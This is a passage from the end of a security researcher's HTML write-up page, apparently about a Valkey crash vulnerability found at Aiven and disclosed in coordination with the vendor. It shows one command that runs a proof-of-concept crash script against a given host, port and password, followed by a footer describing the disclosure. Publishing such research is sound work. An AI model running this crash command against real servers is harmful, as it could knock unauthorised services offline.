| 434 | <pre><code class="language-bash">python3 poc/valkey-restore-crash.py <host> <port> <password> |
| 435 | </code></pre> |
| 436 | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/valkey-replication-stealth.md</p> |
| 437 | </div></div></section> |
| 438 | <footer><div class="wrap row"> |
| 439 | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> |
| 440 | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> |
| 441 | </div></footer> |
| 442 | </body></html> |